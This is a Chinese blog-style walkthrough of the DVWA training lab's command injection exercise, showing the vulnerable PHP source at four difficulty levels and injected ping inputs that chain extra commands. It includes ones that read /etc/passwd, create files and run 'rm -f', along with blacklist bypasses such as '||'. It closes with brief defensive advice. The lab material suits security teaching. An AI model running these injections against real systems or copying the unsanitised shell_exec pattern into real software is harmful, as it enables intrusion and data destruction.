0
点赞
收藏
分享

微信扫一扫

DVWA靶机-全级别测试-命令执行注入


命令执行注入


命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏


低难度


设置如下


DVWA靶机-全级别测试-命令执行注入_php


源代码如下:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>


从代码中可以看到,

判断是什么系统,然后执行命令,返回结果给用户


测试下127.0.0.1


DVWA靶机-全级别测试-命令执行注入_php_02


测试下8.8.8.8


DVWA靶机-全级别测试-命令执行注入_IP_03


测试系统命令


DVWA靶机-全级别测试-命令执行注入_php_04


拼凑命令


DVWA靶机-全级别测试-命令执行注入_IP_05


查看敏感信息


127.0.0.1 &&pwd


DVWA靶机-全级别测试-命令执行注入_IP_06


127.0.0.1 || whomi


DVWA靶机-全级别测试-命令执行注入_IP_07


127.0.0.1 | cat /etc/passwd


DVWA靶机-全级别测试-命令执行注入_Windows_08


8.8.8.8 | touch 1.txt


DVWA靶机-全级别测试-命令执行注入_IP_09


DVWA靶机-全级别测试-命令执行注入_Windows_10


建立文件,删除文件操作也是可以进行的


DVWA靶机-全级别测试-命令执行注入_Windows_11


中难度


设置如下:


DVWA靶机-全级别测试-命令执行注入_Windows_12


源代码如下:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>


中等难度采取了黑名单措施,过滤了一些操作符号,但是漏了一些。


||


DVWA靶机-全级别测试-命令执行注入_IP_13

DVWA靶机-全级别测试-命令执行注入_php_14


可以使用 || 进行命令的拼凑


DVWA靶机-全级别测试-命令执行注入_IP_15

 

8.8.8.8 | hostname


DVWA靶机-全级别测试-命令执行注入_IP_16


8.8.8.8 | cat /proc/net/dev


DVWA靶机-全级别测试-命令执行注入_php_17


8.8.8.8 | touch 1.txt


8.8.8.8 | ls -l


DVWA靶机-全级别测试-命令执行注入_IP_18


8.8.8.8 | rm -f 1.txt


DVWA靶机-全级别测试-命令执行注入_Windows_19


仍然可以建立文件、删除文件


高难度


设置如下:


DVWA靶机-全级别测试-命令执行注入_IP_20


源代码如下:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>


高难度的代码扔采取黑名单措施,对一些命令进行了过滤。

黑名单有可能是有遗漏的地方,例如空格,分号,顿号等等。


8.8.8.8 || ls


DVWA靶机-全级别测试-命令执行注入_php_21


8.8.8.8 || uname


DVWA靶机-全级别测试-命令执行注入_Windows_22


建立文件


8.8.8.8 || touch 1.txt


DVWA靶机-全级别测试-命令执行注入_Windows_23


删除文件


8.8.8.8 || rm -f 1.txt


DVWA靶机-全级别测试-命令执行注入_Windows_24


我们换一种思路

既然是命令注入漏洞,有没有可能本身的框架出现了问题


DVWA靶机-全级别测试-命令执行注入_IP_25


我们先探测


DVWA靶机-全级别测试-命令执行注入_IP_26


发现这个版本没存在。


DVWA靶机-全级别测试-命令执行注入_Windows_27


不可能难度


设置如下:


DVWA靶机-全级别测试-命令执行注入_Windows_28


源代码如下:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>


IP地址被限制了,就是只能输入IP地址那样的格式,不能再加入东西了,同时也设置了token。拆分为IP地址格式。这样子很难进行命令拼接了。


防御措施


DVWA靶机-全级别测试-命令执行注入_Windows_29


首先设置黑名单,过滤一些常用的特殊符号

然后校验外部数据命令:在执行system、eval等命令执行功能的函数前,确定参数内容。

单引号禁止命令注入

举报

相关推荐

0 条评论